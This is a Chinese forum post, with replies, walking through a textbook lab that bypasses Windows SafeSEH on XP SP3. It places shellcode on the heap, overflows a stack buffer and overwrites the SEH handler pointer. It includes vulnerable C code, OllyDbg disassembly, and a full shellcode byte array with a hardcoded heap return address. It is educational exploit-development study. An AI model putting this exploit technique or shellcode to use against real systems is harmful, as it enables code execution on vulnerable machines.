wnagzihxain 发表于 2016-5-6 11:33

突破SafeSEH之从堆中绕过SafeSEH

本帖最后由 wnagzihxain 于 2016-5-11 13:00 编辑

代码是《0day2》第十一章提供的
环境:xp sp3

#include <stdafx.h>
#include <stdlib.h>
#include <string.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
;

void test(char * input)
{
      char str;
      strcpy(str,input);      
    int zero=0;
      zero=1/zero;
}

void main()
{
      char * buf=(char *)malloc(500);
      __asm int 3
      strcpy(buf,shellcode);
      test(shellcode);      
}

代码解释:先申请500字节的空间,然后中断,这是为了方便找到堆的起始位置,然后将shellcode存放到堆中,接下来执行test函数导致缓冲区溢出,紧接着一个除0异常触发异常处理,因为异常处理函数已经被覆盖成堆里shellcode的起始地址,所以直接绕过SafeSEH
编译器是VS2005,,生成Release版本,记得禁用优化,运行起来载入OD
代码窗可以看到申请堆空间的两条指令,右上角的EAX处存的是申请的堆空间的起始地址,左下角数据区跟随一下就可以看到了,虽然现在还有值,但是没关系的

接下来几行代码就是将shellcode存放到堆空间了,来读读汇编吧
00401796   .68 18304000   push    offset shellcode               ; /src = ""90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,"",90,""
0040179B   .8B45 FC       mov   eax, dword ptr          ; |
0040179E   .50            push    eax                              ; |dest
0040179F   .E8 6CF8FFFF   call    strcpy                           ; \strcpy
004017A4   .83C4 08       add   esp, 8                有事没事读读汇编也是不错的
然后我们走完这段,到这两句,也就是执行test函数
004017A7 . 68 18304000 push offset shellcode
004017AC . E8 7FFFFFFF call test
跟过去


同样我们来读读汇编00401730 > $ 55 push ebp
00401731 . 8BEC mov ebp, esp
00401733 . 81EC D0000000 sub esp, 0D0;抬高栈顶
00401739 . A1 00304000 mov eax, dword ptr ;取出.data段Cookie
0040173E . 33C5 xor eax, ebp;生成Security Cookie
00401740 . 8945 F8 mov dword ptr , eax;将Security Cookie存入栈中
00401743 . 8B45 08 mov eax, dword ptr ;这是调用test时压栈的shellcode指针
00401746 . 50 push eax ; /src
00401747 . 8D8D 30FFFFFF lea ecx, dword ptr ; |
0040174D . 51 push ecx ; |dest
0040174E . E8 BDF8FFFF call strcpy ; \strcpy
00401753 . 83C4 08 add esp, 8
00401756 . C745 FC 00000>mov dword ptr , 0;存个0,为下面除0做准备
0040175D . B8 01000000 mov eax, 1
00401762 . 99 cdq
00401763 . F77D FC idiv dword ptr ;除0操作
在单步走下去的时候可以看到缓冲区起始位置,直接观察栈布局或者看参数都可以看出来的,栈中标记出来的就是缓冲区起始地址,同样代码窗口同样可以看到dest目标地址


执行完strcpy


既然各种起始地址找的差不多了,可以来看看S.E.H链了,可以看到只有两个,最上面的是0x0012FFB0,这个是nextSEH的指针,真正执行的是0x0012FFB4处的异常处理函数指针


看到这里接下来的事就好办了,我们的shellcode弄长点,”\x90”填充到0x0012FFB0位置,后面跟上申请的堆空间起始地址,也就是shellcode的起始地址
长度计算可以用各种工具包里自带的,吾爱虚拟机和***的虚拟机都很好用,推荐一下,里面工具包都很全,我现在用的是***的虚拟机,用的吾爱的工具包
修改后的代码如下
#include "stdlib.h"
#include "string.h"

char shellcode[]=
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xA0\x29\x3B\x00"//address of shellcode in heap
;

void test(char * input)
{
char str;
__asm int 3
strcpy(str,input);      
int zero=0;
zero=1/zero;
}

void main()
{
char * buf=(char *)malloc(500);
strcpy(buf,shellcode);
test(shellcode);      
}
同样中断后OD附加调试,走完strcpy可以看到S.E.H已经被覆盖掉了,不用管nextSEH


那么接下来的情况就比较清楚了,我们构造的除0异常会触发异常,程序调用异常处理,因为异常处理函数的指针指向的是堆空间,而SafeSEH对指向堆空间的异常处理函数指针是直接校验通过的,所以直接就执行shellcode了
接下来我们去掉断点看看效果




欢迎交流╭( ・ㅂ・)و ̑̑我的博客:http://www.wangzhixian.org/主要记录二进制攻防的学习笔记和二进制漏洞的分析,各位多指教

最後的最後:如果我有写的不清楚的地方请您提出来,我会及时修改




wnagzihxain 发表于 2016-5-6 12:36

asd9988 发表于 2016-5-6 12:07
实现方式比较巧妙。不过应该有一定的局限性。.................(个人瞎掰)

这是绕过SafeSEH的一种方法,还有很多其它方法我会在后续的调试中慢慢写的,二进制漏洞利用条件现在很苛刻,需要很多的技巧来绕过系统的防护机制

wnagzihxain 发表于 2016-5-6 12:39

popddos 发表于 2016-5-6 12:21
本鸟表示不懂,有视频讲解就好了。

我把《0day2》这些基本的知识技巧都调试一遍后,有时间可能会录一下调试的视频

慢慢的拼凑 发表于 2016-5-6 11:53

前排沙发。。收藏学习了

songtt77 发表于 2016-5-6 11:57

前排沙发。。收藏学习了

asd9988 发表于 2016-5-6 12:07

实现方式比较巧妙。不过应该有一定的局限性。.................(个人瞎掰)

popddos 发表于 2016-5-6 12:21

本鸟表示不懂,有视频讲解就好了。

hlrlqy 发表于 2016-5-6 12:26

所以有什么用处啊直接执行代码有什么问题吗
S E H是啥

末生 发表于 2016-5-6 12:35

有什么用呢。。。。。

wnagzihxain 发表于 2016-5-6 12:37

hlrlqy 发表于 2016-5-6 12:26
所以有什么用处啊直接执行代码有什么问题吗
S E H是啥

比如try{}catch(){},就是一个人为添加的异常处理
页: [1] 2 3
查看完整版本: 突破SafeSEH之从堆中绕过SafeSEH